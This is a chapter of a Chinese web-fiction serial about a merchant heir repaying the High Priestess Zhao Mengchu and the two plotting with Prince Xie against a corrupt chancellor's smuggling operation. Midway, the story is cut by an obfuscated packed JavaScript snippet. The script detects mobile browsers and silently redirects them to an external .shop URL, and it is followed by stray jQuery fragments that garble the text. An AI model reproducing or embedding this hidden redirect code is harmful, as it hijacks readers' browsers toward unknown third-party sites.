文趣网 > 都市小说 > 大祭司她只想搞钱 > 37. 一拍即合
    沈熙钺先拿出赵梦初赠予的千两黄金,上下打点官府,赎回被扣押的漕运船队,亲自登船安抚奔波数月的船工,承诺涨月钱、添抚恤;而后拿着兄长生前亲笔契书,一一清算侵占家产的旁支族人,有理有据收回商铺田产,不滥施苛责,却分毫不让;对当初听信流言疏远沈家的老掌柜,他既往不咎,重新立下规整商行新规,赏罚分明;同时暗中派人顺藤摸瓜,清理暗中勾结丞相爪牙、走私违禁香料的私栈,彻底斩断旁人觊觎沈家产业的门路。

    他行事果决仁厚,赏罚分明,短短三十天,分崩离析的沈家产业尽数收拢,江南沿岸漕运线路恢复往日兴旺,各地沈家商号重新开门迎客。全族上下、数千船工伙计心悦诚服,一致奉他为沈家新任家主。

    诸事落定,沈熙钺唤来老管家张叔。

    “我要进京一趟,归期未定,这段时日,江南沈家产业便全权托付于你,码头、商行但凡遇上棘手之事,即刻飞鸽传书送信至京城大祭司府邸,万不可耽搁。”

    “家主放心,属下定守好沈家根基,时刻留意京城动向。”

    交代完江南一应事务,沈熙钺丝毫没有贪恋江南富庶生活,清点府库银两后,亲自押送十口装满黄金的木箱,快马加鞭奔赴京城,登门拜访大祭司府邸。

    他!要去报恩!

    大祭司府前厅之内,十只木箱整齐排列,尽数开启,耀眼黄金铺满箱底,足足一万两。沈熙钺垂手立在一旁,神色恭敬郑重。

    “大祭司,当初您借我一千两黄金周转家业,如今沈家产业安定,生意日渐红火,我连本带利备下万两黄金,今日全数归还于您。”

    赵梦初看着满屋子堆积如山的黄金,惊得后退半步,尴尬地干笑两声,连连摆手。她虽喜爱金银,却从没有放高利贷牟利的心思,万万没料到沈熙钺会备下十倍偿还。

    她缓步走到木箱之间,只从中搬出最小一口恰好盛放千两黄金的箱子,其余九口尽数推回沈熙钺身前。

    “当初说好只借一千两,我只收回本金,余下九千两你尽数带回江南。”

    沈熙钺瞬间怔住,心底满是不解,暗自思索:外界人人都说大祭司偏爱黄金,视金银如珍宝,如今我奉上万两酬谢,她为何分文不取?莫不是心中嫌弃我出身商户,觉得我的金银入不了她的眼,不愿与我深交?

    他连忙上前一步,恳切推辞。

    “万万不可!若无您当初出手相助,我早已身败名裂,沈家基业彻底覆灭。万两黄金尚且不足以报答您的救命之恩,您怎能分毫不收?”

    “我说过,你我是相交的朋友。朋友之间互相搭衬帮扶,若是动辄计算利息、重金酬谢,反倒生分隔阂。这些银子带回江南,扩充你的漕运船队,修缮沿岸码头,多接济当地贫苦百姓,远比堆在我府中空置有用得多。”

    沈熙钺凝望着她坦荡温和、不带半分功利算计的眉眼,胸中万千感激堵在喉头,千言万语不知如何诉说,最终只能深深躬身一拜,不再争执推拒。

    辞别前厅,院中清风拂过花枝,落英纷飞,沈熙钺独自立在廊下,指尖微微发颤,心中立下重若千斤的誓言。

    从今往后,赵梦初便是他沈熙钺拼尽一切也要守护之人。

    朝堂之上皇后手握后宫势力,丞相权倾朝野,禁足的太子心中暗藏怨毒,往后风波诡谲,危机四伏。他坐拥江南整条漕运要道,掌控沈家万贯家财,手下数千船工、商号伙计皆听他调遣。往后但凡有人敢算计、构陷、伤害赵梦初,他便倾尽沈家全部人力财力,为她扫清一切阻碍。

    钱财、产业、乃至性命,只要赵梦初需要,他无有不应允。

    自此沈熙钺不再执着留在京城做贴身随从,转身重返江南,以沈家庞大漕运产业为根基,化作赵梦初远在江南最坚固、最隐秘的后盾。只要京城传来半点风吹草动,江南的密信便会第一时间送入大祭司府;但凡日后大祭司需要物资渠道、大额银钱周转,沈家商行永远无条件全力配合。

    眼下沈熙钺默默返回江南,日日派人打探京城朝堂动向,时刻留意赵梦初安危,只待她有需要,便千里奔赴相助。

    赵梦初不过是随心出手相助,无心插柳,未曾料到,竟不知不觉间,收获了一位甘愿倾尽全部、忠心不二的得力心腹大将。

    沈家经营漕运数十年,沿岸码头管事、船老大皆是沈家旧人,消息四通八达。沈熙钺回江南执掌沈家漕运之后,一刻没有放下当初构陷兄长、牵连太子与丞相的旧案。他借着打理江南沿岸商行、清点漕运码头账目的由头,暗中派心腹船工四下打探当年周家私运南洋香料的脉络。

    不出半月,一条藏得极深的暗线浮出水面——丞相暗中扶持一处隐匿在镇江渡口的私货栈,借漕运官船的名头走私珠宝、南洋香料,偷税牟利,当年利用沈子安画舫栽赃,也是为了扫清阻碍,独占江南漕运这条财源。

    深夜,沈家主宅书房,沈熙钺指尖反复摩挲底下人呈上的货单与人供,心腹管事躬身站在一旁,低声禀报。

    “家主,丞相心腹三日后便会抵达镇江,计划将栈中囤积香料、珠宝尽数转运出海,所有往来账册一并销毁,到时候咱们手里就无凭无据了。”

    沈熙钺眉头紧锁,轻轻将账册拍在桌面。

    “我清楚丞相手段,此人在江南安插了不少地方官员眼线,若是咱们现在直接带兵查封私栈,消息半日便能传去京城,丞相只需颠倒黑白,上书污蔑我沈家商户聚众对抗官府,说不定还会借机攀扯祭司大人。”

    “那咱们就眼睁睁看着他把证据销毁?好不容易查到的线索,就此白费吗?”

    “自然不会。”

    沈熙钺抬眼,眼底冷静沉稳,心中早已铺排好全盘计划。

    “你即刻分三路安排下去。第一路,抽调咱们沈家可靠船工,伪装成码头脚夫、摆渡商贩,二十四小时轮班守住镇江渡口各处出入口,记录丞相心腹一举一动,不可打草惊蛇;第二路,寻一处偏僻别院,提前收拾妥当,若是截获人证物证,立刻秘密安置在此,隔绝外界消息;第三路,快马送信给沿江所有沈家商号掌柜,让他们留意官府动向,一旦有丞相府人手活动,第一时间飞鸽传书告知我。”

    “那若是朝廷这边毫无动静,丞相心腹如期转移私货,咱们拦不住怎么办?”

    沈熙钺淡淡一笑,提笔铺开信纸。

    “我早已写好密信送往京城,至于恩人那边如何做与我们无关,江南只需做好接应,静待京城风声,两相呼应,才能万无一失。切记,全程不可露出沈家身份,对外只说是自发巡查码头偷税商贩的百姓。”

    管事领命退下,沈熙钺独自伏案,亲笔写下密信,寻来驯养多年的信鸽,将信纸妥善封好绑在鸽足,连夜放飞往京城大祭司府邸。

    信中字句恳切周全:

    梦初恩姊,镇江渡口丞相私货暗线已查实,账册人证俱存。丞相权柄滔天,皇后在后宫为其撑腰,你身在朝堂,万万不可亲自出面揭发,稍有不慎便会引火烧身,落入对方圈套。江南这边我已布下层层人手看守渡口,扣押证据、安置人证的后手全部备好,京城只需借第三方之手搅动局势,不必你涉险。待京中有漕运清查风声传出,我即刻收网截下丞相心腹。

    二日后,赵梦初收到飞鸽传书,拆开细读,心中一阵暖意。沈熙钺心思缜密,事事都先顾

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781600|208208||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    及她的安危,这份细致难得至极。

    “怎么不算一拍即合呢?他想报仇,我要报怨,真是运气不错,偶然收获的朋友竟然跟我有共同的敌人。”

    赵梦初摇头失笑,真是天赐好友啊!既然如此,那她就不客气地收下朋友的大礼了。

    赵梦初收好密信,径直动身前往瑾王府。

    府中下人早已习惯自家王爷一副孩童模样,八岁稚童般抱着桂花糖糕坐在庭院石凳上,见赵梦初进门,立刻晃着小腿凑上来,黏糊糊拽住她衣袖,看上去全然一副不通世事的痴傻模样。

    “梦初,你今日来的晚了些,我的桂花糕都凉啦。”

    谢凌渊稚气十足地开口,这演技,不拿影帝都可惜。

    “我有要事与你商议,遣退下人再说。”

    赵梦初话音落下,谢凌渊眼底懵懂褪去,转头淡淡吩咐两旁仆婢。

    “你们全都退到院外守着,没有本王吩咐,不准靠近半步。”

    下人尽数退散,庭院只剩二人,谢凌渊松开赵梦初衣袖,将糖糕搁置石桌,眼底覆上一层深沉算计。

    “今日神色匆匆,是发生什么变数了?”

    赵梦初取出沈熙钺的密信递给谢凌渊。

    “是沈熙钺从江南送来的密信,你先看看。”

    谢凌渊一目十行扫完信上内容,指尖轻轻敲击信纸,唇角勾起一抹极淡的冷笑。

    “沈公子倒是有心,事事替你考量周全,布局稳妥,没有贸然冲动。丞相私漕牟利多年,这条财路本就是他最大软肋,正好借机斩断。”

    “熙钺信中说,江南一切接应安排妥当,只等京城这边放出清查漕运的风声。只是我想不通,你要如何顺理成章启动漕运核查?无缘无故彻查江南漕运,只会引起丞相警觉,反倒打草惊蛇。”

    谢凌渊缓步走到庭院栏杆旁,望着院中小池,缓缓道出筹谋已久的由头。

    “这事无需凭空捏造,上个月各地府衙上交的漕运税册尽数送入户部存档,我前几日入宫伴驾,偶然发现江南漕运上缴银两与码头货物总量对不上,差额巨大。陛下本就常年忧心地方官员借漕运中饱私囊,我正好借着这个由头行事。”

    他转过身,看向赵梦初,条理清晰拆分全盘计谋:

    “第一步,明日入宫,我依旧装作心智不全的模样,引导皇上查阅户部漕运账册,嚷嚷江南上交税银数目不对劲,吵着要户部彻查各地漕运,陛下本就多疑,定会准奏。”

    “第二步,户部领旨之后,必然下发文书,传令沿江各地官府清点码头货量、核对税银,风声一夜传遍朝堂江南。丞相暗中走私偷税,心中必定慌乱,连夜派遣心腹快马南下镇江,打算清空私货栈、销毁所有往来凭证。”

    “第三步,江南那边沈熙钺早已布下人手守在渡口,等丞相心腹抵达、准备转运私货之时,当场截下人证货单。对外只宣称是地方巡查时,偶然查获码头商贩私自走私,绝不牵扯丞相分毫,断他财路,却不留指向丞相的直接把柄。”

    赵梦初细细思索片刻,点头认可。

    “此计可行,从头到尾我们二人、沈熙钺都不会浮出水面,丞相只会以为是手下办事莽撞,撞上朝廷例行清查,万万想不到是我们刻意布局。”

    “不止如此。”

    谢凌渊补充道。

    “户部核查乃是奉旨公事,名正言顺,丞相即便心中不甘,也不敢公然对抗圣令,只能吃下这个哑巴亏。”

    话锋一转,谢凌渊吃醋地说道。

    “这个沈熙钺想斗倒丞相为自己报仇不置可否,你不觉得他在利用你吗?亏你还救他一命,这算不算恩将仇报?”